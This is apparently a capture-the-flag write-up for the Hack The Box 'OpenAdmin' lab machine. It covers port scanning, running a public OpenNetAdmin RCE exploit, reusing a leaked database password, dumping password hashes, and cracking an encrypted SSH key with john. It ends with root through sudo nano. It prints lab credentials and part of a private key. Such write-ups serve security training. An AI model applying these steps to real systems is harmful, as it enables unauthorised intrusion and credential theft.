Enumeration
Starting with an nmap scan, i will do both TCP and UDP scan
nmap -sU -sV -T4- 10.10.10.171
nmap -A -sC -sV -T4- 10.10.10.171
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu)
apache server running on port 80, but its displaying default apache interface, so i will do a directory scan using Dirbuster
music and artwork directories have sites but leads to nothing
in /ona we can see OpenNetAdmin service running, it displays the version too. i will look around for more info.
we can also see that there is a domain name listed
i will add the domain name to /etc/hosts and visit the site
it is directing us to the same page (apache page).
_
searching for open net admin v18.1.1
exlpoit, i found this RCE exploit
github.com/amriunix/ona-rce
the usage is explained in the github page. the tool have a check and exploit functions, i will first run the check to make sure that the running version of Open net admin is vulnerable, then i will run the exploit function.
┌──(root💀kali)-[/home/kali/ona-rce]
└─# ./ona-rce.py check http://10.10.10.171/ona
[*] OpenNetAdmin 18.1.1 - Remote Code Execution
[+] Connecting !
[+] The remote host is vulnerable!
now lets exploit !
we got a reverse shell
┌──(root💀kali)-[/home/kali/ona-rce]
└─# ./ona-rce.py exploit http://10.10.10.171/ona
[*] OpenNetAdmin 18.1.1 - Remote Code Execution
[+] Connecting !
[+] Connected Successfully!
sh$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
sh$
i have tried to use python pty to stabilize the session but it didnt work.
after looking around, i have found database credentials
sh$ cat /opt/ona/www/local/config/database_settings.inc.php
<?php
$ona_contexts=array (
'DEFAULT' =>
array (
'databases' =>
array (
0 =>
array (
'db_type' => 'mysqli',
'db_host' => 'localhost',
'db_login' => 'ona_sys',
'db_passwd' => 'n1nj4W4rri0R!',
'db_database' => 'ona_default',
'db_debug' => false,
),
),
'description' => 'Default data context',
'context_color' => '#D3DBFF',
),
);
?
sh$
however, i could not login into mysql, i will look around for more info.
i found two users when navigating to /home directory but i dont have permission to read.
sh$ ls /home
jimmy
joanna
sh$ ls /home/jimmy
ls: cannot open directory '/home/jimmy': Permission denied
sh$
lets try the pass we database password we found on these two users.
and it worked!
jimmy@openadmin:~$ id
uid=1000(jimmy) gid=1000(jimmy) groups=1000(jimmy),1002(internal)
jimmy dont have the permission to see user flag, we need to switch to joanna
lets login into the database and see if we find something
jimmy@openadmin:/opt$ mysql -uona_sys -p
Enter password:
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 107
Server version: 5.7.28-0ubuntu0.18.04.4 (Ubuntu)
Copyright (c) 2000, 2019, Oracle and/or its affiliates. All rights reserved.
Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
mysql> show Databases
-> ;
+--------------------+
| Database |
+--------------------+
| information_schema |
| ona_default |
+--------------------+
2 rows in set (0.00 sec)
mysql>
i found password hashes
mysql> select * from users;
+----+----------+----------------------------------+-------+---------------------+---------------------+
| id | username | password | level | ctime | atime |
+----+----------+----------------------------------+-------+---------------------+---------------------+
| 1 | guest | 098f6bcd4621d373cade4e832627b4f6 | 0 | 2022-03-07 15:10:38 | 2022-03-07 15:10:38 |
| 2 | admin | 21232f297a57a5a743894a0e4a801fc3 | 0 | 2022-03-07 14:25:23 | 2022-03-07 14:25:23 |
+----+----------+----------------------------------+-------+---------------------+---------------------+
lets see what directories the user owns, maybe we can find some leads
jimmy@openadmin:/$ find / -user jimmy 2>/dev/null
jimmy own directories in /www folder, there maybe a web-server is running on target machine's local
/var/www/internal
/var/www/internal/main.php
/var/www/internal/logout.php
/var/www/internal/index.php
/home/jimmy
/home/jimmy/.local
/home/jimmy/.local/share
/home/jimmy/.local/share/nano
/home/jimmy/.local/share/nano/search_history
/home/jimmy/.bashrc
/home/jimmy/.cache
/home/jimmy/.cache/motd.legal-displayed
/home/jimmy/.profile
/home/jimmy/.gnupg
/home/jimmy/.gnupg/private-keys-v1.d
/home/jimmy/.mysql_history
/home/jimmy/.bash_history
/home/jimmy/.bash_logout
/var/www/internal/index.php contains this
'sha512',$_POST['password']) == '00e302ccdcf1c60b8ad50ea50cf72b939705f49f40f0dc658801b4680b7d758eebdc2e9f9ba8ba3ef8a8bb9a796d34ba2e856838ee9bdde852b8ec3b3a0523b1')
using crackstation.com i cracked the password : Revealed
in main.php, it grap Joanna's ssh key
jimmy@openadmin:/var/www/internal$ cat main.php
<?php session_start(); if (!isset ($_SESSION['username'])) { header("Location: /index.php"); };
# Open Admin Trusted
# OpenAdmin
$output = shell_exec('cat /home/joanna/.ssh/id_rsa');
echo "<pre>$output</pre>";
?>
<html>
<h3>Don't forget your "ninja" password</h3>
Click here to logout <a href="logout.php" tite = "Logout">Session
</html>
lets check the network processes and see which port this server is running on
jimmy@openadmin:/var/www/internal$ ss -lntp
State Recv-Q Send-Q Local Address:Port Peer Address:Port
LISTEN 0 80 127.0.0.1:3306 0.0.0.0:*
LISTEN 0 128 127.0.0.1:52846 0.0.0.0:*
LISTEN 0 128 127.0.0.53%lo:53 0.0.0.0:*
LISTEN 0 128 0.0.0.0:22 0.0.0.0:*
LISTEN 0 128 *:80 *:*
LISTEN 0 128 [::]:22 [::]:*
127.0.0.1:52846
lets curl and see what it contains... i think its a login page,
when i curl main.php page i get the ssh key for joanna
jimmy@openadmin:/var/www/internal$ curl 127.0.0.1:52846/main.php
<pre>-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,2AF25344B8391A25A9B318F3FD767D6D
kG0UYIcGyaxupjQqaS2e1HqbhwRLlNctW2HfJeaKUjWZH4usiD9AtTnIKVUOpZN8
ad/StMWJ+MkQ5MnAMJglQeUbRxcBP6++Hh251jMcg8ygYcx1UMD03ZjaRuwcf0YO
ShNbbx8Euvr2agjbF+ytimDyWhoJXU+UpTD58L+SIsZzal9U8f+Txhgq9K2KQHBE
6xaubNKhDJKs/6YJVEHtYyFbYSbtYt4lsoAyM8w+pTPVa3LRWnGykVR5g79b7lsJ
ZnEPK07fJk8JCdb0wPnLNy9LsyNxXRfV3tX4MRcjOXYZn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aULd2PDzLClmYrplnpmbD7C7/ee6KDTl7JMdV25DM9a16JYOneRtMt
qlNgzj0Na4ZNMyRAHEl1SF8a72umGO2xLWebDoYf5VSSSZYtCNJdwt3lF7I8+adt
z0glMMmjR2L5c2HdlTUt5MgiY8+qkHlsL6M91c4diJoEXVh+8YpblAoogOHHBlQe
K1I1cqiDbVE/bmiERK+G4rqa0t7VQN6t2VWetWrGb+Ahw/iMKhpITWLWApA3k9EN
-----END RSA PRIVATE KEY-----
</pre><html>
<h3>Don't forget your "ninja" password</h3>
Click here to logout <a href="logout.php" tite = "Logout">Session
</html>
when trying to login into joanna using this key, it requires a password to unlock it, i think we to crack this key too.
to crack ssh key we first need to transform the ssh format to john, there is a tool called ssh2john.py github.com/openwall/john/blob/bleeding-jumb..
key is the ssh key
┌──(root💀kali)-[/home/kali]
└─# ./ssh2john.py key > hash
┌──(root💀kali)-[/home/kali]
└─# john -wordlist=/usr/share/wordlists/rockyou.txt hash
and the password is bloodninjas
now we can login
joanna@openadmin:~$ cat user.txt
055xxxxxxxxxxxx0953af07
Privilege Escalation
joanna can sudo run nano
joanna@openadmin:~$ sudo -l
Matching Defaults entries for joanna on openadmin:
env_keep+="LANG LANGUAGE LINGUAS LC_* _XKB_CHARSET", env_keep+="XAPPLRESDIR XFILESEARCHPATH XUSERFILESEARCHPATH",
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, mail_badpass
User joanna may run the following commands on openadmin:
(ALL) NOPASSWD: /bin/nano /opt/priv
to esclate using nano, i recommend checking gtfobins, its a great resource gtfobins.github.io/gtfobins/nano/#sudo
and got the root successefully !
Happy Hacking :D.